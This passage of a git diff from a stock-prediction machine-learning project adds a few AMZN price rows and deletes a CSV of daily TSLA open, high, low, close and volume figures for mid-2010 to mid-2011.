+2021-05-27,3256.0,3260.360107421875,3230.0400390625,3230.110107421875,3230.110107421875,2561200,AMZN
+2021-05-28,3242.0,3247.989990234375,3219.699951171875,3223.070068359375,3223.070068359375,2329800,AMZN
diff --git a/machine-learning/stock-prediction/data/TSLA_2020-01-08.csv b/machine-learning/stock-prediction/data/TSLA_2020-01-08.csv
deleted file mode 100644
index 7d467d64..00000000
--- a/machine-learning/stock-prediction/data/TSLA_2020-01-08.csv
+++ /dev/null
@@ -1,2400 +0,0 @@
-,open,high,low,close,adjclose,volume,ticker
-2010-06-29,19.0,25.0,17.540000915527344,23.889999389648438,23.889999389648438,18766300,TSLA
-2010-06-30,25.790000915527344,30.420000076293945,23.299999237060547,23.829999923706055,23.829999923706055,17187100,TSLA
-2010-07-01,25.0,25.920000076293945,20.270000457763672,21.959999084472656,21.959999084472656,8218800,TSLA
-2010-07-02,23.0,23.100000381469727,18.709999084472656,19.200000762939453,19.200000762939453,5139800,TSLA
-2010-07-06,20.0,20.0,15.829999923706055,16.110000610351562,16.110000610351562,6866900,TSLA
-2010-07-07,16.399999618530273,16.6299991607666,14.979999542236328,15.800000190734863,15.800000190734863,6921700,TSLA
-2010-07-08,16.139999389648438,17.520000457763672,15.569999694824219,17.459999084472656,17.459999084472656,7711400,TSLA
-2010-07-09,17.579999923706055,17.899999618530273,16.549999237060547,17.399999618530273,17.399999618530273,4050600,TSLA
-2010-07-12,17.950000762939453,18.06999969482422,17.0,17.049999237060547,17.049999237060547,2202500,TSLA
-2010-07-13,17.389999389648438,18.639999389648438,16.899999618530273,18.139999389648438,18.139999389648438,2680100,TSLA
-2010-07-14,17.940000534057617,20.149999618530273,17.760000228881836,19.84000015258789,19.84000015258789,4195200,TSLA
-2010-07-15,19.940000534057617,21.5,19.0,19.889999389648438,19.889999389648438,3739800,TSLA
-2010-07-16,20.700000762939453,21.299999237060547,20.049999237060547,20.639999389648438,20.639999389648438,2621300,TSLA
-2010-07-19,21.3700008392334,22.25,20.920000076293945,21.90999984741211,21.90999984741211,2486500,TSLA
-2010-07-20,21.850000381469727,21.850000381469727,20.049999237060547,20.299999237060547,20.299999237060547,1825300,TSLA
-2010-07-21,20.65999984741211,20.899999618530273,19.5,20.219999313354492,20.219999313354492,1252500,TSLA
-2010-07-22,20.5,21.25,20.3700008392334,21.0,21.0,957800,TSLA
-2010-07-23,21.190000534057617,21.559999465942383,21.059999465942383,21.290000915527344,21.290000915527344,653600,TSLA
-2010-07-26,21.5,21.5,20.299999237060547,20.950000762939453,20.950000762939453,922200,TSLA
-2010-07-27,20.90999984741211,21.18000030517578,20.260000228881836,20.549999237060547,20.549999237060547,619700,TSLA
-2010-07-28,20.549999237060547,20.899999618530273,20.510000228881836,20.719999313354492,20.719999313354492,467200,TSLA
-2010-07-29,20.770000457763672,20.8799991607666,20.0,20.350000381469727,20.350000381469727,616000,TSLA
-2010-07-30,20.200000762939453,20.440000534057617,19.549999237060547,19.940000534057617,19.940000534057617,426900,TSLA
-2010-08-02,20.5,20.969999313354492,20.329999923706055,20.920000076293945,20.920000076293945,718100,TSLA
-2010-08-03,21.0,21.950000762939453,20.81999969482422,21.950000762939453,21.950000762939453,1230500,TSLA
-2010-08-04,21.950000762939453,22.18000030517578,20.850000381469727,21.260000228881836,21.260000228881836,913000,TSLA
-2010-08-05,21.540000915527344,21.549999237060547,20.049999237060547,20.450000762939453,20.450000762939453,796200,TSLA
-2010-08-06,20.100000381469727,20.15999984741211,19.520000457763672,19.59000015258789,19.59000015258789,741900,TSLA
-2010-08-09,19.899999618530273,19.979999542236328,19.450000762939453,19.600000381469727,19.600000381469727,812700,TSLA
-2010-08-10,19.649999618530273,19.649999618530273,18.81999969482422,19.030000686645508,19.030000686645508,1281300,TSLA
-2010-08-11,18.690000534057617,18.8799991607666,17.850000381469727,17.899999618530273,17.899999618530273,797600,TSLA
-2010-08-12,17.799999237060547,17.899999618530273,17.389999389648438,17.600000381469727,17.600000381469727,691000,TSLA
-2010-08-13,18.18000030517578,18.450000762939453,17.65999984741211,18.31999969482422,18.31999969482422,634000,TSLA
-2010-08-16,18.450000762939453,18.799999237060547,18.260000228881836,18.780000686645508,18.780000686645508,485800,TSLA
-2010-08-17,18.959999084472656,19.399999618530273,18.780000686645508,19.149999618530273,19.149999618530273,447900,TSLA
-2010-08-18,19.59000015258789,19.59000015258789,18.600000381469727,18.770000457763672,18.770000457763672,601300,TSLA
-2010-08-19,18.540000915527344,19.25,18.329999923706055,18.790000915527344,18.790000915527344,579100,TSLA
-2010-08-20,18.649999618530273,19.110000610351562,18.510000228881836,19.100000381469727,19.100000381469727,296000,TSLA
-2010-08-23,19.09000015258789,20.389999389648438,19.0,20.1299991607666,20.1299991607666,1088100,TSLA
-2010-08-24,19.25,19.709999084472656,18.950000762939453,19.200000762939453,19.200000762939453,673100,TSLA
-2010-08-25,19.15999984741211,19.979999542236328,18.559999465942383,19.899999618530273,19.899999618530273,503300,TSLA
-2010-08-26,19.889999389648438,20.270000457763672,19.600000381469727,19.75,19.75,433800,TSLA
-2010-08-27,19.75,19.8700008392334,19.5,19.700000762939453,19.700000762939453,379600,TSLA
-2010-08-30,19.700000762939453,20.190000534057617,19.610000610351562,19.8700008392334,19.8700008392334,732800,TSLA
-2010-08-31,19.65999984741211,19.790000915527344,19.329999923706055,19.479999542236328,19.479999542236328,201100,TSLA
-2010-09-01,19.6200008392334,20.690000534057617,19.600000381469727,20.450000762939453,20.450000762939453,494900,TSLA
-2010-09-02,20.3700008392334,21.239999771118164,20.309999465942383,21.059999465942383,21.059999465942383,487100,TSLA
-2010-09-03,20.8700008392334,21.299999237060547,20.65999984741211,21.049999237060547,21.049999237060547,434600,TSLA
-2010-09-07,20.610000610351562,21.0,20.5,20.540000915527344,20.540000915527344,243400,TSLA
-2010-09-08,20.65999984741211,20.950000762939453,20.600000381469727,20.899999618530273,20.899999618530273,288400,TSLA
-2010-09-09,21.0,21.049999237060547,20.690000534057617,20.709999084472656,20.709999084472656,376200,TSLA
-2010-09-10,20.75,20.93000030517578,19.760000228881836,20.170000076293945,20.170000076293945,386600,TSLA
-2010-09-13,20.889999389648438,20.899999618530273,20.5,20.719999313354492,20.719999313354492,360800,TSLA
-2010-09-14,20.540000915527344,21.600000381469727,20.530000686645508,21.1200008392334,21.1200008392334,654700,TSLA
-2010-09-15,20.979999542236328,22.0,20.790000915527344,21.979999542236328,21.979999542236328,684600,TSLA
-2010-09-16,22.149999618530273,23.15999984741211,20.84000015258789,20.940000534057617,20.940000534057617,2684500,TSLA
-2010-09-17,21.020000457763672,21.31999969482422,19.799999237060547,20.229999542236328,20.229999542236328,1198500,TSLA
-2010-09-20,20.670000076293945,21.350000381469727,20.15999984741211,21.059999465942383,21.059999465942383,947500,TSLA
-2010-09-21,20.889999389648438,21.549999237060547,20.670000076293945,20.770000457763672,20.770000457763672,796000,TSLA
-2010-09-22,20.8700008392334,20.950000762939453,19.799999237060547,19.8700008392334,19.8700008392334,962900,TSLA
-2010-09-23,19.889999389648438,20.139999389648438,19.5,19.559999465942383,19.559999465942383,668100,TSLA
-2010-09-24,19.950000762939453,20.190000534057617,19.649999618530273,20.100000381469727,20.100000381469727,578900,TSLA
-2010-09-27,20.399999618530273,20.809999465942383,20.049999237060547,20.530000686645508,20.530000686645508,418600,TSLA
-2010-09-28,21.040000915527344,21.489999771118164,20.760000228881836,21.399999618530273,21.399999618530273,1214500,TSLA
-2010-09-29,21.190000534057617,22.030000686645508,21.1299991607666,21.979999542236328,21.979999542236328,1969300,TSLA
-2010-09-30,22.0,22.149999618530273,20.190000534057617,20.40999984741211,20.40999984741211,2195800,TSLA
-2010-10-01,20.690000534057617,20.75,20.309999465942383,20.600000381469727,20.600000381469727,597700,TSLA
-2010-10-04,20.43000030517578,21.170000076293945,20.299999237060547,20.989999771118164,20.989999771118164,643600,TSLA
-2010-10-05,21.149999618530273,21.280000686645508,21.010000228881836,21.1200008392334,21.1200008392334,332000,TSLA
-2010-10-06,21.059999465942383,21.260000228881836,20.31999969482422,20.459999084472656,20.459999084472656,313400,TSLA
-2010-10-07,20.56999969482422,20.639999389648438,20.34000015258789,20.43000030517578,20.43000030517578,141000,TSLA
-2010-10-08,20.43000030517578,20.790000915527344,20.389999389648438,20.43000030517578,20.43000030517578,267800,TSLA
-2010-10-11,20.440000534057617,20.700000762939453,20.06999969482422,20.239999771118164,20.239999771118164,171200,TSLA
-2010-10-12,20.200000762939453,20.280000686645508,20.030000686645508,20.239999771118164,20.239999771118164,244000,TSLA
-2010-10-13,20.639999389648438,20.850000381469727,20.360000610351562,20.540000915527344,20.540000915527344,318200,TSLA
-2010-10-14,21.0,21.030000686645508,20.399999618530273,20.75,20.75,294800,TSLA
-2010-10-15,20.889999389648438,20.899999618530273,20.25,20.540000915527344,20.540000915527344,284700,TSLA
-2010-10-18,20.520000457763672,20.639999389648438,20.219999313354492,20.229999542236328,20.229999542236328,162800,TSLA
-2010-10-19,20.200000762939453,20.40999984741211,20.0,20.049999237060547,20.049999237060547,245200,TSLA
-2010-10-20,20.15999984741211,20.690000534057617,20.040000915527344,20.649999618530273,20.649999618530273,312500,TSLA
-2010-10-21,20.610000610351562,20.950000762939453,20.450000762939453,20.75,20.75,417100,TSLA
-2010-10-22,20.68000030517578,20.93000030517578,20.549999237060547,20.719999313354492,20.719999313354492,161100,TSLA
-2010-10-25,20.940000534057617,20.979999542236328,20.729999542236328,20.850000381469727,20.850000381469727,118500,TSLA
-2010-10-26,20.799999237060547,21.8700008392334,20.510000228881836,21.360000610351562,21.360000610351562,660900,TSLA
-2010-10-27,21.25,21.3799991607666,20.649999618530273,21.0,21.0,356500,TSLA
-2010-10-28,21.389999389648438,21.5,20.959999084472656,21.190000534057617,21.190000534057617,224200,TSLA
-2010-10-29,21.139999389648438,21.850000381469727,21.049999237060547,21.84000015258789,21.84000015258789,280600,TSLA
-2010-11-01,21.940000534057617,22.75,21.309999465942383,21.40999984741211,21.40999984741211,455800,TSLA
-2010-11-02,21.68000030517578,21.8799991607666,21.049999237060547,21.25,21.25,322500,TSLA
-2010-11-03,21.280000686645508,22.5,21.15999984741211,21.770000457763672,21.770000457763672,372600,TSLA
-2010-11-04,22.600000381469727,25.329999923706055,22.149999618530273,24.899999618530273,24.899999618530273,1874000,TSLA
-2010-11-05,24.8700008392334,24.969999313354492,23.719999313354492,24.440000534057617,24.440000534057617,1011000,TSLA
-2010-11-08,24.5,25.0,24.030000686645508,24.979999542236328,24.979999542236328,509500,TSLA
-2010-11-09,25.0,25.690000534057617,24.049999237060547,24.6299991607666,24.6299991607666,956400,TSLA
-2010-11-10,24.479999542236328,29.969999313354492,24.049999237060547,29.360000610351562,29.360000610351562,3060500,TSLA
-2010-11-11,28.600000381469727,29.100000381469727,27.329999923706055,28.040000915527344,28.040000915527344,1945300,TSLA
-2010-11-12,28.25,30.5,28.06999969482422,29.84000015258789,29.84000015258789,2729100,TSLA
-2010-11-15,30.219999313354492,32.939998626708984,30.219999313354492,30.799999237060547,30.799999237060547,2622900,TSLA
-2010-11-16,31.0,31.399999618530273,28.420000076293945,29.670000076293945,29.670000076293945,1347600,TSLA
-2010-11-17,30.200000762939453,30.75,28.610000610351562,29.489999771118164,29.489999771118164,750000,TSLA
-2010-11-18,30.670000076293945,30.739999771118164,28.920000076293945,29.889999389648438,29.889999389648438,956100,TSLA
-2010-11-19,30.15999984741211,31.3700008392334,29.700000762939453,30.989999771118164,30.989999771118164,1150500,TSLA
-2010-11-22,31.56999969482422,33.45000076293945,31.5,33.400001525878906,33.400001525878906,1529700,TSLA
-2010-11-23,33.290000915527344,35.68000030517578,32.189998626708984,34.56999969482422,34.56999969482422,1577800,TSLA
-2010-11-24,35.27000045776367,35.970001220703125,34.33000183105469,35.470001220703125,35.470001220703125,1425000,TSLA
-2010-11-26,35.599998474121094,36.0,34.75,35.31999969482422,35.31999969482422,350600,TSLA
-2010-11-29,35.40999984741211,35.95000076293945,33.33000183105469,34.33000183105469,34.33000183105469,1145600,TSLA
-2010-11-30,33.7400016784668,35.33000183105469,33.40999984741211,35.33000183105469,35.33000183105469,2222600,TSLA
-2010-12-01,35.869998931884766,36.41999816894531,33.45000076293945,34.349998474121094,34.349998474121094,1299200,TSLA
-2010-12-02,34.0099983215332,34.29999923706055,31.200000762939453,32.349998474121094,32.349998474121094,2007000,TSLA
-2010-12-03,32.0099983215332,32.25,30.8700008392334,31.489999771118164,31.489999771118164,1160100,TSLA
-2010-12-06,31.350000381469727,31.450000762939453,29.559999465942383,30.309999465942383,30.309999465942383,1274400,TSLA
-2010-12-07,30.489999771118164,32.400001525878906,30.049999237060547,31.559999465942383,31.559999465942383,1311300,TSLA
-2010-12-08,32.47999954223633,32.4900016784668,31.520000457763672,32.369998931884766,32.369998931884766,660000,TSLA
-2010-12-09,32.5099983215332,32.720001220703125,31.649999618530273,32.04999923706055,32.04999923706055,406000,TSLA
-2010-12-10,32.04999923706055,32.91999816894531,31.1299991607666,31.520000457763672,31.520000457763672,429400,TSLA
-2010-12-13,31.639999389648438,31.770000457763672,30.399999618530273,30.549999237060547,30.549999237060547,410400,TSLA
-2010-12-14,30.290000915527344,30.389999389648438,27.760000228881836,28.530000686645508,28.530000686645508,1765700,TSLA
-2010-12-15,28.670000076293945,29.969999313354492,28.530000686645508,29.600000381469727,29.600000381469727,742900,TSLA
-2010-12-16,30.0,30.90999984741211,29.649999618530273,30.809999465942383,30.809999465942383,790100,TSLA
-2010-12-17,31.34000015258789,31.540000915527344,30.709999084472656,31.360000610351562,31.360000610351562,813000,TSLA
-2010-12-20,31.639999389648438,32.189998626708984,31.260000228881836,31.700000762939453,31.700000762939453,523400,TSLA
-2010-12-21,31.799999237060547,32.689998626708984,31.709999084472656,32.2599983215332,32.2599983215332,777700,TSLA
-2010-12-22,32.25,32.86000061035156,31.700000762939453,32.630001068115234,32.630001068115234,833300,TSLA
-2010-12-23,31.260000228881836,32.47999954223633,29.920000076293945,30.09000015258789,30.09000015258789,1552600,TSLA
-2010-12-27,28.020000457763672,28.579999923706055,25.059999465942383,25.549999237060547,25.549999237060547,9301900,TSLA
-2010-12-28,25.850000381469727,26.75,25.0,26.40999984741211,26.40999984741211,4056300,TSLA
-2010-12-29,27.030000686645508,28.010000228881836,26.5,27.729999542236328,27.729999542236328,3319200,TSLA
-2010-12-30,27.700000762939453,27.899999618530273,26.3799991607666,26.5,26.5,2041100,TSLA
-2010-12-31,26.56999969482422,27.25,26.5,26.6299991607666,26.6299991607666,1417900,TSLA
-2011-01-03,26.84000015258789,27.0,25.899999618530273,26.6200008392334,26.6200008392334,1283000,TSLA
-2011-01-04,26.65999984741211,26.950000762939453,26.020000457763672,26.670000076293945,26.670000076293945,1187400,TSLA
-2011-01-05,26.479999542236328,26.899999618530273,26.190000534057617,26.829999923706055,26.829999923706055,1446700,TSLA
-2011-01-06,26.829999923706055,28.0,26.809999465942383,27.8799991607666,27.8799991607666,2061200,TSLA
-2011-01-07,28.0,28.579999923706055,27.899999618530273,28.239999771118164,28.239999771118164,2247900,TSLA
-2011-01-10,28.170000076293945,28.68000030517578,28.049999237060547,28.450000762939453,28.450000762939453,1342700,TSLA
-2011-01-11,28.59000015258789,28.709999084472656,26.920000076293945,26.959999084472656,26.959999084472656,1710200,TSLA
-2011-01-12,27.010000228881836,27.399999618530273,26.520000457763672,26.959999084472656,26.959999084472656,964400,TSLA
-2011-01-13,26.959999084472656,26.969999313354492,26.15999984741211,26.219999313354492,26.219999313354492,723600,TSLA
-2011-01-14,26.149999618530273,26.579999923706055,25.610000610351562,25.75,25.75,1192000,TSLA
-2011-01-18,25.479999542236328,25.639999389648438,24.75,25.639999389648438,25.639999389648438,1621700,TSLA
-2011-01-19,25.270000457763672,25.469999313354492,23.75,24.030000686645508,24.030000686645508,2371500,TSLA
-2011-01-20,24.030000686645508,24.450000762939453,22.3700008392334,22.6200008392334,22.6200008392334,2279900,TSLA
-2011-01-21,23.1200008392334,23.59000015258789,22.709999084472656,23.040000915527344,23.040000915527344,1217000,TSLA
-2011-01-24,23.530000686645508,24.809999465942383,23.229999542236328,24.489999771118164,24.489999771118164,1645100,TSLA
-2011-01-25,24.649999618530273,24.889999389648438,24.020000457763672,24.68000030517578,24.68000030517578,1271500,TSLA
-2011-01-26,24.709999084472656,24.8799991607666,24.100000381469727,24.75,24.75,1079900,TSLA
-2011-01-27,24.739999771118164,25.079999923706055,24.530000686645508,24.920000076293945,24.920000076293945,895700,TSLA
-2011-01-28,24.8799991607666,24.8799991607666,23.75,24.010000228881836,24.010000228881836,1048400,TSLA
-2011-01-31,24.049999237060547,24.1200008392334,23.5,24.100000381469727,24.100000381469727,830300,TSLA
-2011-02-01,24.309999465942383,24.729999542236328,23.540000915527344,23.90999984741211,23.90999984741211,707800,TSLA
-2011-02-02,24.15999984741211,24.18000030517578,23.670000076293945,23.940000534057617,23.940000534057617,569500,TSLA
-2011-02-03,23.81999969482422,23.899999618530273,23.149999618530273,23.6299991607666,23.6299991607666,512000,TSLA
-2011-02-04,23.440000534057617,23.670000076293945,23.219999313354492,23.459999084472656,23.459999084472656,544000,TSLA
-2011-02-07,23.260000228881836,23.260000228881836,22.8799991607666,23.06999969482422,23.06999969482422,895100,TSLA
-2011-02-08,23.780000686645508,25.25,23.0,24.489999771118164,24.489999771118164,3504900,TSLA
-2011-02-09,24.1299991607666,24.18000030517578,22.790000915527344,23.209999084472656,23.209999084472656,2635600,TSLA
-2011-02-10,23.260000228881836,23.639999389648438,22.809999465942383,23.219999313354492,23.219999313354492,836100,TSLA
-2011-02-11,23.25,23.75,22.940000534057617,23.25,23.25,634500,TSLA
-2011-02-14,23.639999389648438,24.139999389648438,23.049999237060547,23.079999923706055,23.079999923706055,1283100,TSLA
-2011-02-15,23.010000228881836,23.170000076293945,22.559999465942383,22.84000015258789,22.84000015258789,953700,TSLA
-2011-02-16,23.100000381469727,24.969999313354492,23.06999969482422,24.729999542236328,24.729999542236328,4115100,TSLA
-2011-02-17,24.6299991607666,25.489999771118164,23.549999237060547,23.600000381469727,23.600000381469727,2618400,TSLA
-2011-02-18,23.329999923706055,23.489999771118164,22.959999084472656,23.18000030517578,23.18000030517578,2370700,TSLA
-2011-02-22,22.8799991607666,23.0,21.780000686645508,21.8700008392334,21.8700008392334,2064600,TSLA
-2011-02-23,22.18000030517578,22.5,21.110000610351562,21.829999923706055,21.829999923706055,1605600,TSLA
-2011-02-24,21.780000686645508,22.579999923706055,21.5,22.530000686645508,22.530000686645508,1055300,TSLA
-2011-02-25,22.809999465942383,23.850000381469727,22.690000534057617,23.610000610351562,23.610000610351562,1346300,TSLA
-2011-02-28,23.739999771118164,24.100000381469727,23.5,23.889999389648438,23.889999389648438,1051200,TSLA
-2011-03-01,24.049999237060547,24.31999969482422,23.700000762939453,23.940000534057617,23.940000534057617,1106400,TSLA
-2011-03-02,23.81999969482422,24.280000686645508,23.729999542236328,24.020000457763672,24.020000457763672,663300,TSLA
-2011-03-03,24.479999542236328,24.790000915527344,24.059999465942383,24.360000610351562,24.360000610351562,640200,TSLA
-2011-03-04,24.479999542236328,24.989999771118164,23.780000686645508,24.950000762939453,24.950000762939453,1580100,TSLA
-2011-03-07,24.93000030517578,25.399999618530273,24.700000762939453,24.940000534057617,24.940000534057617,2033600,TSLA
-2011-03-08,24.600000381469727,24.959999084472656,24.0,24.65999984741211,24.65999984741211,1399900,TSLA
-2011-03-09,24.65999984741211,24.989999771118164,24.270000457763672,24.719999313354492,24.719999313354492,924800,TSLA
-2011-03-10,24.440000534057617,24.489999771118164,23.729999542236328,24.010000228881836,24.010000228881836,1017000,TSLA
-2011-03-11,23.850000381469727,24.25,23.530000686645508,24.06999969482422,24.06999969482422,930800,TSLA
-2011-03-14,23.81999969482422,24.0,23.200000762939453,23.25,23.25,1166000,TSLA
-2011-03-15,22.200000762939453,22.959999084472656,21.799999237060547,22.950000762939453,22.950000762939453,1318800,TSLA
-2011-03-16,22.860000610351562,23.25,22.690000534057617,22.81999969482422,22.81999969482422,1169700,TSLA
-2011-03-17,23.239999771118164,23.43000030517578,22.639999389648438,22.809999465942383,22.809999465942383,922600,TSLA
-2011-03-18,23.190000534057617,23.190000534057617,22.510000228881836,22.959999084472656,22.959999084472656,687900,TSLA
-2011-03-21,23.049999237060547,23.049999237060547,22.540000915527344,22.729999542236328,22.729999542236328,411700,TSLA
-2011-03-22,22.729999542236328,22.860000610351562,22.0,22.190000534057617,22.190000534057617,582900,TSLA
-2011-03-23,22.110000610351562,22.270000457763672,21.770000457763672,22.209999084472656,22.209999084472656,422800,TSLA
-2011-03-24,22.139999389648438,22.3799991607666,21.979999542236328,22.329999923706055,22.329999923706055,462200,TSLA
-2011-03-25,22.43000030517578,23.0,22.399999618530273,22.75,22.75,568000,TSLA
-2011-03-28,22.700000762939453,23.540000915527344,22.549999237060547,23.25,23.25,1058100,TSLA
-2011-03-29,23.299999237060547,24.0,23.209999084472656,23.920000076293945,23.920000076293945,755400,TSLA
-2011-03-30,24.110000610351562,24.489999771118164,23.010000228881836,23.709999084472656,23.709999084472656,1223300,TSLA
-2011-03-31,26.549999237060547,28.709999084472656,26.5,27.75,27.75,11517800,TSLA
-2011-04-01,27.450000762939453,28.18000030517578,26.56999969482422,26.65999984741211,26.65999984741211,2864800,TSLA
-2011-04-04,26.829999923706055,27.0,25.229999542236328,25.829999923706055,25.829999923706055,2609300,TSLA
-2011-04-05,25.899999618530273,27.0,25.690000534057617,26.700000762939453,26.700000762939453,3180900,TSLA
-2011-04-06,26.989999771118164,27.010000228881836,25.799999237060547,26.489999771118164,26.489999771118164,1288300,TSLA
-2011-04-07,26.850000381469727,27.940000534057617,26.450000762939453,27.239999771118164,27.239999771118164,2810300,TSLA
-2011-04-08,27.579999923706055,27.600000381469727,26.360000610351562,26.489999771118164,26.489999771118164,1946400,TSLA
-2011-04-11,26.469999313354492,26.530000686645508,25.020000457763672,25.270000457763672,25.270000457763672,1369400,TSLA
-2011-04-12,25.079999923706055,25.209999084472656,24.299999237060547,24.649999618530273,24.649999618530273,1357400,TSLA
-2011-04-13,25.1299991607666,25.690000534057617,24.809999465942383,24.93000030517578,24.93000030517578,1211500,TSLA
-2011-04-14,24.8700008392334,25.280000686645508,24.200000762939453,25.139999389648438,25.139999389648438,983400,TSLA
-2011-04-15,25.649999618530273,26.18000030517578,25.40999984741211,25.579999923706055,25.579999923706055,943500,TSLA
-2011-04-18,25.1299991607666,25.6200008392334,24.360000610351562,25.030000686645508,25.030000686645508,1033900,TSLA
-2011-04-19,25.260000228881836,25.260000228881836,24.649999618530273,25.15999984741211,25.15999984741211,548700,TSLA
-2011-04-20,25.700000762939453,26.09000015258789,25.299999237060547,25.75,25.75,837200,TSLA
-2011-04-21,25.850000381469727,26.979999542236328,25.59000015258789,26.739999771118164,26.739999771118164,1386100,TSLA
-2011-04-25,26.700000762939453,26.729999542236328,25.969999313354492,26.389999389648438,26.389999389648438,800900,TSLA
-2011-04-26,26.65999984741211,27.25,26.309999465942383,26.93000030517578,26.93000030517578,1400000,TSLA
-2011-04-27,26.93000030517578,27.360000610351562,26.6299991607666,27.079999923706055,27.079999923706055,996900,TSLA
-2011-04-28,27.06999969482422,27.690000534057617,26.719999313354492,27.65999984741211,27.65999984741211,1600000,TSLA
-2011-04-29,27.690000534057617,27.8700008392334,27.420000076293945,27.600000381469727,27.600000381469727,726000,TSLA
-2011-05-02,27.600000381469727,27.799999237060547,27.059999465942383,27.450000762939453,27.450000762939453,784600,TSLA
-2011-05-03,27.3799991607666,27.389999389648438,26.5,26.8700008392334,26.8700008392334,913900,TSLA
-2011-05-04,26.780000686645508,27.0,25.75,26.690000534057617,26.690000534057617,1044500,TSLA
-2011-05-05,27.200000762939453,27.440000534057617,26.170000076293945,26.440000534057617,26.440000534057617,1218500,TSLA
-2011-05-06,26.899999618530273,27.700000762939453,26.6200008392334,27.1200008392334,27.1200008392334,981700,TSLA
-2011-05-09,27.0,28.0,26.850000381469727,27.90999984741211,27.90999984741211,916400,TSLA
-2011-05-10,28.239999771118164,28.950000762939453,27.90999984741211,28.329999923706055,28.329999923706055,1535300,TSLA
-2011-05-11,28.200000762939453,28.299999237060547,26.920000076293945,27.06999969482422,27.06999969482422,962500,TSLA
-2011-05-12,27.06999969482422,27.739999771118164,26.649999618530273,27.670000076293945,27.670000076293945,628000,TSLA
-2011-05-13,28.0,28.190000534057617,27.299999237060547,27.549999237060547,27.549999237060547,661500,TSLA
-2011-05-16,27.989999771118164,27.989999771118164,26.549999237060547,26.600000381469727,26.600000381469727,755700,TSLA
-2011-05-17,27.0,27.0,25.719999313354492,25.959999084472656,25.959999084472656,1234200,TSLA
-2011-05-18,26.100000381469727,26.469999313354492,25.520000457763672,26.350000381469727,26.350000381469727,729500,TSLA
-2011-05-19,27.030000686645508,28.440000534057617,26.600000381469727,28.200000762939453,28.200000762939453,2655100,TSLA
-2011-05-20,28.260000228881836,28.280000686645508,27.350000381469727,27.969999313354492,27.969999313354492,842500,TSLA
-2011-05-23,27.6200008392334,27.6200008392334,26.6200008392334,26.81999969482422,26.81999969482422,863600,TSLA
-2011-05-24,27.020000457763672,27.5,26.600000381469727,26.719999313354492,26.719999313354492,613700,TSLA
-2011-05-25,26.899999618530273,29.010000228881836,26.170000076293945,28.979999542236328,28.979999542236328,4693100,TSLA
-2011-05-26,28.81999969482422,29.760000228881836,28.100000381469727,29.479999542236328,29.479999542236328,3336900,TSLA
-2011-05-27,29.540000915527344,29.670000076293945,28.81999969482422,29.549999237060547,29.549999237060547,1687100,TSLA
-2011-05-31,29.690000534057617,30.280000686645508,29.549999237060547,30.139999389648438,30.139999389648438,3290500,TSLA
-2011-06-01,30.0,30.100000381469727,28.3799991607666,28.520000457763672,28.520000457763672,1529900,TSLA
-2011-06-02,28.520000457763672,29.31999969482422,28.510000228881836,28.760000228881836,28.760000228881836,986300,TSLA
-2011-06-03,29.950000762939453,31.5,29.5,30.1299991607666,30.1299991607666,6209200,TSLA
-2011-06-06,30.100000381469727,30.1299991607666,28.260000228881836,28.700000762939453,28.700000762939453,2331100,TSLA
-2011-06-07,28.940000534057617,29.389999389648438,28.260000228881836,28.3700008392334,28.3700008392334,1222100,TSLA
-2011-06-08,28.440000534057617,28.600000381469727,27.020000457763672,27.1200008392334,27.1200008392334,1695900,TSLA
-2011-06-09,27.43000030517578,28.100000381469727,27.100000381469727,27.6200008392334,27.6200008392334,1603200,TSLA
-2011-06-10,27.520000457763672,28.299999237060547,27.350000381469727,27.860000610351562,27.860000610351562,1566600,TSLA
-2011-06-13,28.06999969482422,28.8799991607666,27.8799991607666,28.43000030517578,28.43000030517578,1713400,TSLA
-2011-06-14,28.540000915527344,29.700000762939453,28.520000457763672,28.600000381469727,28.600000381469727,1573400,TSLA
-2011-06-15,28.440000534057617,28.450000762939453,27.06999969482422,27.31999969482422,27.31999969482422,1345000,TSLA
-2011-06-16,27.670000076293945,28.0,25.739999771118164,26.5,26.5,1842200,TSLA
-2011-06-17,26.8700008392334,27.700000762939453,26.139999389648438,26.5,26.5,1714000,TSLA
-2011-06-20,26.290000915527344,26.459999084472656,25.5,26.010000228881836,26.010000228881836,1537800,TSLA
-2011-06-21,26.239999771118164,27.729999542236328,26.0,27.530000686645508,27.530000686645508,1496000,TSLA
-2011-06-22,27.3700008392334,28.25,27.100000381469727,27.209999084472656,27.209999084472656,1475600,TSLA
-2011-06-23,27.200000762939453,27.719999313354492,26.209999084472656,27.709999084472656,27.709999084472656,1170000,TSLA
-2011-06-24,27.639999389648438,27.969999313354492,27.260000228881836,27.56999969482422,27.56999969482422,3608500,TSLA
-2011-06-27,27.729999542236328,28.280000686645508,27.309999465942383,27.459999084472656,27.459999084472656,1809400,TSLA
-2011-06-28,27.790000915527344,28.25,27.670000076293945,28.110000610351562,28.110000610351562,889200,TSLA
-2011-06-29,28.5,29.09000015258789,28.06999969482422,28.290000915527344,28.290000915527344,1461800,TSLA
-2011-06-30,28.5,29.329999923706055,28.399999618530273,29.1299991607666,29.1299991607666,946700,TSLA
-2011-07-01,29.06999969482422,29.600000381469727,28.799999237060547,29.020000457763672,29.020000457763672,854900,TSLA
-2011-07-05,29.020000457763672,29.520000457763672,28.709999084472656,29.139999389648438,29.139999389648438,996000,TSLA
-2011-07-06,29.139999389648438,29.139999389648438,28.549999237060547,28.959999084472656,28.959999084472656,926900,TSLA
-2011-07-07,29.139999389648438,30.0,29.010000228881836,29.729999542236328,29.729999542236328,1327900,TSLA
-2011-07-08,29.889999389648438,29.889999389648438,28.59000015258789,28.809999465942383,28.809999465942383,1240600,TSLA
-2011-07-11,28.399999618530273,28.530000686645508,28.0,28.350000381469727,28.350000381469727,975800,TSLA
-2011-07-12,28.3700008392334,29.09000015258789,28.0,28.170000076293945,28.170000076293945,1045400,TSLA
-2011-07-13,28.43000030517578,29.030000686645508,27.899999618530273,28.639999389648438,28.639999389648438,1066000,TSLA
-2011-07-14,28.530000686645508,28.959999084472656,27.25,27.610000610351562,27.610000610351562,1159000,TSLA
-2011-07-15,27.790000915527344,27.829999923706055,27.399999618530273,27.579999923706055,27.579999923706055,709000,TSLA
-2011-07-18,27.34000015258789,27.450000762939453,26.6299991607666,27.229999542236328,27.229999542236328,851900,TSLA
-2011-07-19,27.579999923706055,28.110000610351562,27.540000915527344,27.889999389648438,27.889999389648438,1026100,TSLA
-2011-07-20,28.0,30.440000534057617,27.799999237060547,28.690000534057617,28.690000534057617,3048300,TSLA
-2011-07-21,28.90999984741211,29.15999984741211,28.100000381469727,28.700000762939453,28.700000762939453,1011500,TSLA
-2011-07-22,28.700000762939453,29.540000915527344,28.549999237060547,29.290000915527344,29.290000915527344,583500,TSLA
